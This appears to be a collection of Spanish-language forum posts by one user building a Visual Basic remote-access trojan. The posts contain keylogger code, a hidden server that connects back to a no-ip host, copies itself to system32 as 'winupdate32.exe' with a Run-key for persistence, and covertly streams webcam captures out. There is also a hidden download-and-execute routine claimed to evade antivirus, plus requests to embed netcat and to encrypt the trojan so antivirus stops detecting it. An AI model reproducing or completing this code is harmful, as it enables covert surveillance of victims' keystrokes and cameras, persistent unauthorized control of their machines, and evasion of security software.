Temas

Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo        gracias.

Código [Seleccionar] Expandir

'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
        Static bStarted As Boolean
        Dim i%

 If Not bStarted Then
   'Inicializa el estado de las teclas llamando a
   'la función GetAsyncKeyState.
   '
   For i = 1 To 256
     Call GetAsyncKeyState(i)
   Next

   bStarted = True
 End If

 For i = 1 To 256
   'Obtiene la tecla pulsada actualmente.
   '
   If GetAsyncKeyState(i) Then
     GetActiveKey = i
   
     Exit For
   End If
 Next
End Function

Sub StopLog()
 bLogEnabled = False
End Sub

Sub LogKeys()
       Dim snTimer!
       Dim iActiveKey%
       Dim sChar$, sData$

 bLogEnabled = True

 Do While bLogEnabled
   snTimer = Timer
 
   Do While (Timer - snTimer) < 0.125
     'Espera 125 milisegundos hasta
     'la próxima pulsación.
   Loop
 
   iActiveKey = GetActiveKey
 
   Select Case iActiveKey
     Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
       sChar = Chr$(iActiveKey)
   
       sData = sData & sChar
   
     Case vbKeyReturn
       'Imprime lo que tiene en el buffer.
       '
       Debug.Print sData
     
       sData = vbNullString
     Case Else
       'Verifica otras teclas.
   End Select
 Loop

hola, alguien podria decirme en que falla mi funcion que las capturas de la cam me salen oscuras, no me las hace bien a color     

Código [Seleccionar] Expandir

Private Function webcam()
Clipboard.Clear
SendMessage hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0
hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.hwnd, 0)
If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
SendMessage hHwnd, WM_CAP_SET_SCALE, True, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEW, True, 0
SendMessage hHwnd, WM_CAP_EDIT_COPY, 0, 0
picCapture.Picture = Clipboard.GetData
SaveClipbrdPicture
End If
PictureView1.OpenPicture ("c:\Image.bmp")
PictureView1.SaveJPEG "C:\Image.jpg", True, 50
archivo0 = FreeFile
fragmento0 = 8192
ruta0 = "c:\Image.jpg"
Open ruta0 For Binary As #archivo0
Do While Not EOF(archivo0)
    lectura = Input(fragmento0, #archivo0)
    S.SendData lectura
    DoEvents
Loop
Close #archivo0
S.SendData "enviofin0"
End Function

bueno, salu2.

hola, buenas todo el mundo, alguien podria guiarme con algun codigo como funciona lo de cifrar lineas del codigo de mi programa y como creo la funcion para cifrar, cual es el mejor metodo de encriptacion..no se estoy perdido, saludos. 

  hola, pues eso como podría hacerlo  la mejor forma, podrian darme algunos links  de los mejores metodos por favor y si puede hacer alguna  codigo comentado en caso de que sea muy enredoso, pues estoy empezando otra vez desde 0, saludos y muchas gracias por los que me estan ayudando 

hola, pues como puedo injectar netcat dentro de mi aplicacion y por ejemplo pulsando un command button se extraiga a c:\ con el nombre que yo quiera.exe   


primero...que nada...saber si es posible y ya si es posible me conformo con unos cuantos enlaces, saludos  

hola estoy aver cual es el problema de la transferencia de las captura de la webcam, pongo el codigo, aver si me pueden ayudar, por favor, bueno saludos.

SERVIDOR:

Código [Seleccionar] Expandir

Private Function camon()
On Error Resume Next
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
lol = FreeFile
frago = 8192
goblin = "c:\Juaz.bmp"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
SaveClipbrdPicture
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
s.SendData "finalizada"

Código [Seleccionar] Expandir

Sub SaveClipbrdPicture()
  Call SavePicture(Clipboard.GetData(vbCFBitmap), "C:\juaz.bmp")
End Sub


Código [Seleccionar] Expandir

Private Sub s_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
s.GetData datos

'----para la webcam----'
   
If datos = "camon" Then
   camon
   End If


'..................
End Sub



CLIENTE:

Código [Seleccionar] Expandir

Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim lol As Integer
Dim fileprin As Variant
lol = FreeFile
fileprin = "c:\captura.bmp"
S(Index).GetData dat
Open fileprin For Binary As #lol
Seek #lol, LOF(lol) + 1
Put #lol, , dat
Close #lol
If dat = "finalizada" Then
camm.Timer1.Enabled = True
End If

Código [Seleccionar] Expandir

Private Sub CommandXP7_Click()
On Error Resume Next
Kill ("c:\captura.bmp")
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camon"
End Sub

MODIFICADO: el problema es que remotamente llegan grises o negras...  , en mi maquina localmente si funciona bien.

  hola, pues tengo un problema y es que las capturas remotas de gente que TIENE webcam las recibo en gris o en negro  , en mi pc localmente si funciona de maravilla pero remotamente  no me captura correcramente...llegan asi las imágenes, cual puede ser el problema ?

buenas, el cliente depende del ocx del winsock pero al server le añadí el CSocketMaster, se supone que el server no necesita del ocx para realizar la conexion no    pues no me conecta, el host no ip lo pongo asi:

Código [Seleccionar] Expandir

ip = "mihostDEnoIP.no-ip.org"   <- esta mal asi 



bueno pongo el codigo por cliente primero hasta servidor, saludos, y muchas gracias señores.

---CLIENTE---

--clienteFRM--

Código [Seleccionar] Expandir

Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub

Private Sub Command2_Click()
Unload clienteFRM
End Sub


Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub

Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub

Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub

Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Open "c:\captura.jpg" For Binary As #1
     Seek #1, LOF(1) + 1
     Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True

End Sub



--frmPANTALLA--

Código [Seleccionar] Expandir

Private Sub Command1_Click()
clienteFRM.WS.SendData "comienzo"
End Sub

Private Sub Command2_Click()
clienteFRM.WS.SendData "camstop"
End Sub

Private Sub Command3_Click()
clienteFRM.WS.SendData "eliminar"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
PVV.Picture = LoadPicture("c:\captura.jpg")
End Sub







---SERVIDOR---


--serverFRM--

Código [Seleccionar] Expandir

Dim WithEvents s As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const Connect As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Private datos As String
Private ip As String
Private puerto As Long

Private Sub comprobador_Timer()
On Error Resume Next
If Dir("C:\windowsuupdate\xD.xD") <> "" Then
registro.Enabled = False
Else
registro.Enabled = True
End If
End Sub

Private Sub Form_Load()
Set s = New CSocketMaster
ip = "MIHOSTDENOIP.no-ip.org"
puerto = 4662
s.RemoteHost = ip
s.RemotePort = puerto
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub registro_Timer()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\winupdate32.exe"
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updates", "C:\Windows\system32\winupdate32.exe"
MkDir "C:\windowsuupdate"
Open "C:\windowsuupdate\xD.xD" For Random As #1
Close #1
registro.Enabled = False
End Sub

Private Sub S_DataArrival(ByVal bytesTotal As Long)
s.GetData datos

   If datos = "comienzo" Then
   camon
   End If
   
   If datos = "eliminar" Then
muere
End If
   
   If datos = "camstop" Then
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   End If
   
   End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Not s.State = 7 Then
s.CloseSck
s.Connect
End If
End Sub
Private Function camon()
On Error Resume Next
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
Clipboard.Clear
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
    PictureView1.OpenPicture ("c:\Juaz.jpg")
    If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
    Else
    End If
    Kill ("c:\Juaz.jpg")
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function

Private Function muere()
   On Error Resume Next
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   camon
End Function

Private Sub Timer2_Timer()
Me.Visible = False
End Sub

Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim AA As Object
Set AA = CreateObject("Wscript.Shell")
AA.RegWrite Path, Value, "REG_SZ"
End Function

  hola buenas pues mi duda es como...puedo cifrar el codigo del server de mi troyano  para que los pocos avs que me lo detectan dejen de detectarlo, saludos.

buenas, queria compartir un codigo sin fines maleficos simplemente para demostrar que se puede hacer aunque algunos firewalls lo detecten.

kav, nod32, panda, avg, norton, mcafee, etc, no lo detectan, firewalls ya no se, pero mi fw xp no lo detecta por lo menos, saludos, aquí dejo el codigo.

Código [Seleccionar] Expandir

Dim ejecutar As Long
Dim download As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Me.Visible = False
download = URLDownloadToFile(0, "http://download.hijackthis.eu/HJTInstall.exe", "c:\ejemplohijackthis.exe", 0, 0)
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
ejecutar = ShellExecute(Me.hwnd, "Open", "c:\ejemplohijackthis.exe", "", "", 1)
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Unload Me
End Sub

comenten, den ideas, opinen pero no falten al respeto, solo pido que se trate con el mismo respeto, gracias. 

Hola ante todo, querria comentarles que  hago un curso y pues manejo todo menos exel y el profesor me dijo que hiciera algo de provecho para mi y para el entretenimiento, bueno pues dije vamos a intentar codear una aplicacion emota visible a los usuarios de clace para yo y el profesor mostarles algunas cosillas que se puede y no se deben hacer, vamos algo de seguridad / inseguirdad informática, esto no entra en el curso pero al teacher no le parecio mal....( es que son gente ya muy mallor y pues la mayoría no saben crear carpetas, aunque ya han aprendido jajajaja menos mal), bueno les dejo el code, lo ven y me dicen please que me falta para poder capturar bien la web cam. y otra duda es, puedo x coneixon directa añadir un winsock para una serie de funciones y un winsock solo para la webcam?

hay va el code, espero que me traten con educación, gracias señores, a la orden para lo que sea.



SERVER:

Código [Seleccionar] Expandir

Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim send As String

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
     ByVal hwnd As Long, _
     ByVal wMsg As Long, _
     ByVal wParam As Long, _
     lParam As Any) As Long

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
  (ByVal hwnd As Long, ByVal lpOperation As String, _
  ByVal lpFile As String, ByVal lpParameters As String, _
  ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Winsock1.Close

  End Sub


Private Sub Command2_Click()

    'cerramos cualquier conexion previa

    Winsock1.Close



    'asignamos el puerto local que abriremos

    Winsock1.LocalPort = Text3.Text

   

    'deja el socket esuchando conexiones

    Winsock1.Listen

   

   

MsgBox "escuchando en espera de conexión con el cliente"


End Sub











Private Sub Command3_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command4_Click()
Me.Hide
End Sub

Dim ruta As String

Private Sub Form_Load()
Text1.Enabled = False

ruta = "c:\temporal2.bmp"
Open ruta For Binary As #1
On Error Resume Next
Kill (ruta)
Open "ruta" For Binary As #1
Winsock2.LocalPort = P.Text
Winsock22.Listen

End Sub




Private Sub Winsock1_Close()

    'cierra la conexion

    Winsock1.Close

   

    'desplegamos un mensaje en la ventana

If Winsock1.State = 0 Then
MsgBox "conexión fallida", vbInformation, "conexión"

Else
End If


End Sub


Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)





   


    'cerramos previamente el socket


    Winsock1.Close


   


    'aceptamos la conexion


    Winsock1.Accept requestID


   





End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data0 As String
'Dim apagon As String






Winsock1.GetData data0
Text1.Text = data0

If data0 = "a" Then
Shell ("cmd")
Else

If data0 = "b" Then
Shell ("mspaint")
Else

If data0 = "d" Then
Shell ("explorer")
Else


If data0 = "c" Then
Shell ("regedit")
Else


If data0 = "f" Then
Shell ("notepad")
Else







Dim i As String
If data0 = "daun" Then
i = Shell("shutdown -s")
Else

If data0 = "ribuk" Then
i = Shell("shutdown -r")
Else


If data0 = "TS" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
Else
















If data0 = "e" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
Else

If data0 = "abrete" Then
res = mciSendString("set cdaudio door open", returnstring, 127, 0)
Else



If data0 = "cierrate" Then
res = mciSendString("set cdaudio door closed", returnstring, 127, 0)
Else



If data0 = "imprime" Then

imprimeLineas = Text2.Text

Else





If data0 = "aparecio" Then
Form1.Show
Else


If data0 = "escondido" Then
Form1.Hide
Else






End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

    Winsock1.Close

   

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo en la conexión"

End Sub






Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock2.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(ruta)
Open ruta For Binary As #1
End If
End Sub




CLIENTE:

Código [Seleccionar] Expandir

Private Declare Function capCreateCaptureWindow Lib "avicap32" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim Imagen() As Byte
Dim a As String, b As String, c As String, d As String, e As String, f As String, g As String


Private Sub Command10_Click()


End Sub

Private Sub Command1_Click()
imprimeLineas Text1, 240
Winsock1.SendData "imprime" & "|" & "imprimeLineas"

End Sub

Private Sub Cc_Click()
Winsock1.SendData "TS"

End Sub

Private Sub Command11_Click()
Winsock1.SendData "abrete"
End Sub

Private Sub Command12_Click()
Winsock1.SendData "cierrate"
End Sub

Private Sub Command13_Click()
Winsock1.SendData "daun"
End Sub

Private Sub Command14_Click()
Winsock1.SendData "ribuk"
End Sub

Private Sub Command15_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command16_Click()
Winsock1.SendData "escondido"
End Sub

Private Sub Command17_Click()

End Sub

Private Sub Command18_Click()
If Command18.Caption = "Conectar" Then
Winsock2.RemoteHost = Text2.Text
Winsock2.RemotePort = Text5.Text
Winsock2.Close
Winsock2.CONNECT Text2, CInt(Text5)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer4.Enabled = True
Command18.Caption = "Desconectar"
Else
Timer4.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
Me.Caption = "Desconectado"
Command18.Caption = "Conectar"
End If

End Sub

Private Sub Command19_Click()
Winsock1.SendData "aparecio"
End Sub

Private Sub Command2_Click()

    'asignamos los datos de conexion

    Winsock1.RemoteHost = Text3.Text

    Winsock1.RemotePort = Text4.Text

   

    'conectamos el socket

    Winsock1.Close

    Winsock1.CONNECT

End Sub

Private Sub Command3_Click()

    'cierra la conexion

    Winsock1.Close

   

    'desplegamos una ventana de mensaje

   

    MsgBox "la conexión ha sido cerrada por el usuario", vbCritical, "estado de conexión"



End Sub


Private Sub Command4_Click()
Winsock1.SendData "a"
End Sub

Private Sub Command5_Click()
Winsock1.SendData "b"

End Sub

Private Sub Command6_Click()
Winsock1.SendData "c"

End Sub

Private Sub Command7_Click()
Winsock1.SendData "d"

End Sub

Private Sub Command8_Click()
Winsock1.SendData "e"

End Sub

Private Sub Command9_Click()
Winsock1.SendData "f"

End Sub

Private Sub Form_Load()
Text2.Text = Winsock2.RemoteHost
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
End Sub

Private Sub Timer1_Timer()
If Winsock1.State = "7" Then Label1.Caption = "Conectado"
End Sub

Private Sub Timer2_Timer()
If Winsock1.State = "0" Then Label1.Caption = "Desconectado"

End Sub

Private Sub Timer3_Timer()
If Winsock1.State = 0 Then
Shape1.FillColor = &HFF&
Else

If Winsock1.State = 7 Then
Shape1.FillColor = &HFF00&
Else


End If
End If

End Sub

Private Sub Timer4_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock2.SendData Imagen
Winsock2.SendData "Fin"
End Sub

Private Sub Winsock1_Close()

    'cierra la conexion

   Winsock1.Close

   

    'desplegamos un mensaje en la ventana

MsgBox "la conexión se ha perdido, usted se encuentra desconectado", vbInformation, "estado de la conexión"
End Sub


Private Sub Winsock1_Connect()

    'desplegamos un mensaje en la ventana
If Winsock1.State = 7 Then
MsgBox "CONECTADO", vbInformation, "conexión"
Shape1.FillColor = &HFF00&


    MsgBox "la conexión ha sido exitosa", vbOKOnly, "información"
   
    Else
   
   
    MsgBox "la conexión ha sido fallida", vbCritical, "ERROR"

    End If

   


End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

    Dim datoszero As String, envio As Boolean  'variable para guardar los datos

   

    'obtenemos los datos y los guardamos en una variable

    Winsock1.GetData datoszero






















End Sub


Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

  Winsock1.Close

   

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo de conexión"

End Sub



Public Sub imprimeLineas(Texto As Object, Linea As Integer)
      Dim Bloque As String
      'Numero de caracteres = NumC
      'Numero de Bloques = NumB
      Dim NumC, NumB As Integer
      NumC = Len(Text1.Text)
      If NumC > Linea Then
            NumB = NumC \ Linea
            For I = 0 To NumB
                  Texto.SelStart = (Linea * I)
                  Texto.SelLength = Linea
                  Bloque = Texto.SelText
                  Printer.Print Bloque
            Next I
      Else
            Printer.Print Texto.Text
            Printer.FontSize = 15
      End If
      Printer.EndDoc
End Sub


Private Sub Winsock2_Close()
Frame1.Caption = "webcam-desconectada"
End Sub

Private Sub Winsock2_Connect()
Frame1.Caption = "webcam-conectada"
End Sub



MODULO1 EN EL CLIENTE:

Código [Seleccionar] Expandir

Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long

Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054